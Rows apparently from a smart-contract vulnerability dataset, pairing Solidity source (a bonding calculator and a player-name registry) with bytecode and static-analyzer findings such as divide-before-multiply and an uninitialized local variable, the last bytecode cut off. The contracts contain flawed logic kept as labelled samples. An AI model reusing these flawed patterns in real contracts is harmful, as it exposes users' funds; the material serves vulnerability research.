r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBondingCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract SINBondingCalculator is IBondingCalculator {
using FixedPoint for *;
using LowGasSafeMath for uint;
using LowGasSafeMath for uint112;
IERC20 public immutable SIN;
constructor( address _SIN ) {
require( _SIN != address(0) );
SIN = IERC20(_SIN);
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint pairDecimals = IERC20( _pair ).decimals();
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
if (token0.add(token1) < pairDecimals)
{
uint decimals = pairDecimals.sub(token0.add(token1));
k_ = reserve0.mul(reserve1).mul( 10 ** decimals );
}
else {
uint decimals = token0.add(token1).sub(pairDecimals);
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == address(SIN) ) {
reserve = reserve1;
} else {
require(IUniswapV2Pair( _pair ).token1() == address(SIN), "not a SIN lp pair");
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** SIN.decimals() ) ).div( getTotalValue( _pair ) );
}
function marketPrice( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == address(SIN) ) {
reserve = reserve1;
return reserve.div(reserve0);
} else {
require(IUniswapV2Pair( _pair ).token1() == address(SIN), "not a SIN lp pair");
return reserve.div(reserve1);
}
}
} | 0x608060405234801561001057600080fd5b50600436106100725760003560e01c806368637549116100505780636863754914610128578063b3f81c461461015b578063c7cda4b21461018e57610072565b806332da80a3146100775780634249719f146100bc578063490084ef146100f5575b600080fd5b6100aa6004803603602081101561008d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101bf565b60408051918252519081900360200190f35b6100aa600480360360408110156100d257600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610521565b6100aa6004803603602081101561010b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166105d6565b6100aa6004803603602081101561013e57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166109e9565b6100aa6004803603602081101561017157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610a07565b610196610cbd565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561020a57600080fd5b505afa15801561021e573d6000803e3d6000fd5b505050506040513d606081101561023457600080fd5b508051602091820151604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290516dffffffffffffffffffffffffffff938416965092909116935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81169390891692630dfe1681926004808301939192829003018186803b1580156102e257600080fd5b505afa1580156102f6573d6000803e3d6000fd5b505050506040513d602081101561030c57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff16141561033157508061045f565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156103ae57600080fd5b505afa1580156103c2573d6000803e3d6000fd5b505050506040513d60208110156103d857600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161461045c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f6e6f7420612053494e206c702070616972000000000000000000000000000000604482015290519081900360640190fd5b50815b61051661046b866109e9565b6105107f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d457600080fd5b505afa1580156104e8573d6000803e3d6000fd5b505050506040513d60208110156104fe57600080fd5b5051849060ff16600a0a600202610ce1565b90610d05565b93505050505b919050565b60008061052d846109e9565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561057757600080fd5b505afa15801561058b573d6000803e3d6000fd5b505050506040513d60208110156105a157600080fd5b505190506105cd670de0b6b3a76400006105106105c66105c18886610d24565b610f33565b8590610ce1565b95945050505050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d602081101561064957600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163313ce56791600480820192602092909190829003018186803b1580156106b357600080fd5b505afa1580156106c7573d6000803e3d6000fd5b505050506040513d60208110156106dd57600080fd5b5051604080517fd21220a7000000000000000000000000000000000000000000000000000000008152905160ff909216925060009173ffffffffffffffffffffffffffffffffffffffff86169163d21220a7916004808301926020929190829003018186803b15801561074f57600080fd5b505afa158015610763573d6000803e3d6000fd5b505050506040513d602081101561077957600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff9092169163313ce56791600480820192602092909190829003018186803b1580156107e357600080fd5b505afa1580156107f7573d6000803e3d6000fd5b505050506040513d602081101561080d57600080fd5b5051604080517f313ce567000000000000000000000000000000000000000000000000000000008152905160ff909216925060009173ffffffffffffffffffffffffffffffffffffffff87169163313ce567916004808301926020929190829003018186803b15801561087f57600080fd5b505afa158015610893573d6000803e3d6000fd5b505050506040513d60208110156108a957600080fd5b5051604080517f0902f1ac000000000000000000000000000000000000000000000000000000008152905160ff9092169250600091829173ffffffffffffffffffffffffffffffffffffffff891691630902f1ac91600480820192606092909190829003018186803b15801561091e57600080fd5b505afa158015610932573d6000803e3d6000fd5b505050506040513d606081101561094857600080fd5b5080516020909101516dffffffffffffffffffffffffffff9182169350169050826109738686610f60565b10156109b157600061098f6109888787610f60565b8590610f70565b90506109a9600a82900a6109a38585610ce1565b90610ce1565b9650506109df565b60006109c7846109c18888610f60565b90610f70565b90506109db600a82900a6105108585610ce1565b9650505b5050505050919050565b6000610a0160026109a36109fc856105d6565b610f80565b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610a5257600080fd5b505afa158015610a66573d6000803e3d6000fd5b505050506040513d6060811015610a7c57600080fd5b508051602091820151604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290516dffffffffffffffffffffffffffff938416965092909116935060009273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81169390891692630dfe1681926004808301939192829003018186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d6020811015610b5457600080fd5b505173ffffffffffffffffffffffffffffffffffffffff161415610b88575080610b7e8184610d05565b935050505061051c565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0557600080fd5b505afa158015610c19573d6000803e3d6000fd5b505050506040513d6020811015610c2f57600080fd5b505173ffffffffffffffffffffffffffffffffffffffff1614610cb357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f6e6f7420612053494e206c702070616972000000000000000000000000000000604482015290519081900360640190fd5b610b7e8183610d05565b7f000000000000000000000000804a4f2705f7bd08b1d84ae8698014a18c708dbc81565b6000821580610cfc57505081810281838281610cf957fe5b04145b610a0157600080fd5b6000808211610d1357600080fd5b818381610d1c57fe5b049392505050565b610d2c61115f565b60008211610d85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111726026913960400191505060405180910390fd5b82610d9f5750604080516020810190915260008152610a01565b71ffffffffffffffffffffffffffffffffffff8311610e8a57600082607085901b81610dc757fe5b0490507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e5557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610a01565b6000610ea6846e01000000000000000000000000000085610fea565b90507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115610e5557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091160490565b80820182811015610a0157600080fd5b80820382811115610a0157600080fd5b60006003821115610fdc5750806000610fa4610f9d836002610d05565b6001610f60565b90505b81811015610fd657809150610fcf610fc8610fc28584610d05565b83610f60565b6002610d05565b9050610fa7565b5061051c565b811561051c57506001919050565b6000806000610ff986866110a4565b915091506000848061100757fe5b86880990508281111561101b576001820391505b808303925084821061108e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b6110998383876110ef565b979650505050505050565b600080807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848609905083850292508281039150828110156110e7576001820391505b509250929050565b600081810382168083816110ff57fe5b04925080858161110b57fe5b04945080816000038161111a57fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726fa2646970667358221220f9842e215a56e7b49f76757552adcc14517fc844764c1dbe43fb71106daa20cc64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 875 |
0x2e1c02a6bc5fc77bfc740a505000846545193beb | pragma solidity ^0.4.24;
/*
* ___
* |三三三i
* |三三三|
* 神さま かなえて happy-end ノ三三三.廴
* 从ノ_八ム_}ノ
* __}ヽ__ ヽ‐个‐ア. © Team EC Present.
* `ヒy ノ三ニ==ェ- ___ ィェ=ァ='フ)ヽ-''Lヽ
* `‐⌒L三ニ=ニ三三三三三三三〈oi 人 )o〉三ニ、
* ` ̄ ̄ ̄ ̄`弌三三}. ! r三三三ij
* ,': ::三三|. ! ,'三三三刈、
* ,': : :::`i三|人|三三ハ三j: ;
* ,': : : : : 比| |三三i |三|: ',
* ,': : : : : : :Vi| |三三i |三|: : ',
* , ': : : : : : : ノ }乂{三三| |三|: : :;
* UserDataManager v0.1 ,': : : : : : : : ::j三三三三|: |三i: : ::,
* ,': : : : : : : : :/三三三三〈: :!三!: : ::;
* ,': : : : : : : : /三三三三三!, |三!: : : ,
* ,': : : : : : : : ::j三三八三三Y {⌒i: : : :,
* ,': : : : : : : : : /三//: }三三j: : ー': : : : ,
* ,': : : : : : : : :.//三/: : |三三|: : : : : : : : :;
* ,': : : : : : : : ://三/: : : |三三|: : : : : : : : ;
* ,': : : : : : : : :/三ii/ : : : :|三三|: : : : : : : : :;
* ,': : : : : : : : /三//: : : : ::!三三!: : : : : : : : ;
* ,': : : : : : : : :j三// : : : : ::|三三!: : : : : : : : :;
* ,': : : : : : : : : |三ij: : : : : : ::l三ニ:j: : : : : : : : : ;
* ,': : : : : : : : ::::|三ij: : : : : : : !三刈: : : : : : : : : ;
* ,': : : : : : : : : : :|三ij: : : : : : ::j三iiテ: : : : : : : : : :;
* ,': : : : : : : : : : : |三ij: : : : : : ::|三iiリ: : : : : : : : : : ;
* ,':: : : : : : : : : : : :|三ij::: : :: :: :::|三リ: : : : : : : : : : :;
* ,': : : : : : : : : : : : :|三ij : : : : : ::l三iリ: : : : : : : : : : : ',
* r'三三jiY, : : : : : ::|三ij : : : : : : : : : : : ',
* |三 j´ `', signature:
* |三三k、
* `ー≠='. 93511761c3aa73c0a197c55537328f7f797c4429
*/
interface UserDataManagerReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
}
contract UserDataManager {
using NameFilter for string;
address private admin = msg.sender;
uint256 public registrationFee_ = 0;
mapping(uint256 => UserDataManagerReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
}
constructor()
public
{
plyr_[1].addr = 0xe27c188521248a49adfc61090d3c8ab7c3754e0a;
plyr_[1].name = "matt";
pIDxAddr_[0xe27c188521248a49adfc61090d3c8ab7c3754e0a] = 1;
pIDxName_["matt"] = 1;
pID_ = 1;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(admin == msg.sender, "msg sender is not a dev");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewPlayer
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "player dont even have an account");
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "player dont even have an account");
uint256 _laff = plyr_[_pID].laff;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
}
}
function changeMyName(string _nameString)
isHuman()
public
{
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].name = _name;
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all)
private
{
if (pIDxName_[_name] != 0)
require(pIDxName_[_name] == _pID, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
admin.transfer(address(this).balance);
if (_all == true)
for (uint256 i = 1; i <= gID_; i++)
games_[i].receivePlayerInfo(_pID, _addr, _name, _affID);
emit onNewPlayer(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function getPlayerID(address _addr)
isRegisteredGame()
external
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
external
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLaff(uint256 _pID)
external
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
external
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
external
view
returns (uint256)
{
return(registrationFee_);
}
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID = _affCode;
if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID)
{
plyr_[_pID].laff = _affID;
} else if (_affID == _pID) {
_affID = 0;
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
require (msg.value >= registrationFee_, "you have to pay the name fee");
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function addGame(address _gameAddress, string _gameNameStr)
onlyDevs()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = UserDataManagerReceiverInterface(_gameAddress);
games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0);
}
function setRegistrationFee(uint256 _fee)
onlyDevs()
public
{
registrationFee_ = _fee;
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
} | 0x6080604052600436106101535763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c6940ea811461015857806310f01eba1461016f578063180603eb146101a25780632614195f146101b757806327249e61146101cc5780632e19ebdc146101ed5780633ddd4698146102055780633fda926e146102615780634b227176146102c85780634d0d35ff146102dd578063593a629714610311578063685ffd83146103295780636c52660d1461037c578063745ea0c1146103e957806381c5b2061461042357806382e37b2c1461043b578063921dec2114610453578063aa4d490b146104a6578063b9eca0c8146104c9578063bf566599146104de578063c0942dfd14610537578063c320c72714610556578063d52412791461056e578063dbbcaa9714610586578063de7874f3146105a7578063e56556a9146105e7575b600080fd5b34801561016457600080fd5b5061016d610608565b005b34801561017b57600080fd5b50610190600160a060020a0360043516610784565b60408051918252519081900360200190f35b3480156101ae57600080fd5b50610190610796565b3480156101c357600080fd5b5061019061079c565b3480156101d857600080fd5b50610190600160a060020a03600435166107a2565b3480156101f957600080fd5b506101906004356107b4565b6040805160206004803580820135601f810184900484028501840190955284845261016d94369492936024939284019190819084018382808284375094975050600160a060020a038535169550505050506020013515156107c6565b34801561026d57600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261016d958335600160a060020a031695369560449491939091019190819084018382808284375094975061091c9650505050505050565b3480156102d457600080fd5b50610190610b3d565b3480156102e957600080fd5b506102f5600435610b43565b60408051600160a060020a039092168252519081900360200190f35b34801561031d57600080fd5b50610190600435610b61565b6040805160206004803580820135601f810184900484028501840190955284845261016d943694929360249392840191908190840183828082843750949750508435955050505050602001351515610b76565b34801561038857600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526103d5943694929360249392840191908190840183828082843750949750610ca09650505050505050565b604080519115158252519081900360200190f35b610408600160a060020a03600435166024356044356064351515610cd8565b60408051921515835260208301919091528051918290030190f35b34801561042f57600080fd5b5061016d600435610dd8565b34801561044757600080fd5b50610190600435610f8a565b6040805160206004803580820135601f810184900484028501840190955284845261016d943694929360249392840191908190840183828082843750949750508435955050505050602001351515610f9f565b610408600160a060020a03600435811690602435906044351660643515156110cd565b3480156104d557600080fd5b506101906111dc565b3480156104ea57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261016d9436949293602493928401919081908401838280828437509497506111e29650505050505050565b610408600160a060020a0360043516602435604435606435151561125c565b34801561056257600080fd5b5061016d600435611354565b34801561057a57600080fd5b506102f56004356113bb565b34801561059257600080fd5b50610190600160a060020a03600435166113d6565b3480156105b357600080fd5b506105bf6004356113e8565b60408051600160a060020a039094168452602084019290925282820152519081900360600190f35b3480156105f357600080fd5b50610190600160a060020a0360043516611413565b60008080808033803b8015610655576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b3360008181526007602052604090205490975095508515156106c1576040805160e560020a62461bcd02815260206004820181905260248201527f706c6179657220646f6e74206576656e206861766520616e206163636f756e74604482015290519081900360640190fd5b60008681526009602052604090206002810154600191820154909650945092505b600554831161077b5760008381526002602052604080822054815160e060020a6349cc635d028152600481018a9052600160a060020a038b8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b15801561075757600080fd5b505af115801561076b573d6000803e3d6000fd5b5050600190940193506106e29050565b50505050505050565b60076020526000908152604090205481565b60015481565b60015490565b60036020526000908152604090205481565b60086020526000908152604090205481565b60008080808033803b8015610813576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b60015434101561085b576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b6108648a611454565b965033955061087286611c67565b600160a060020a038088166000908152600760205260409020549196509094508916158015906108b4575085600160a060020a031689600160a060020a031614155b1561090257600160a060020a03891660009081526007602090815260408083205487845260099092529091206002015490935083146109025760008481526009602052604090206002018390555b6109108487858a898d611ce9565b50505050505050505050565b60008054600160a060020a0316331461097f576040805160e560020a62461bcd02815260206004820152601760248201527f6d73672073656e646572206973206e6f74206120646576000000000000000000604482015290519081900360640190fd5b600160a060020a03831660009081526004602052604090205415610a13576040805160e560020a62461bcd02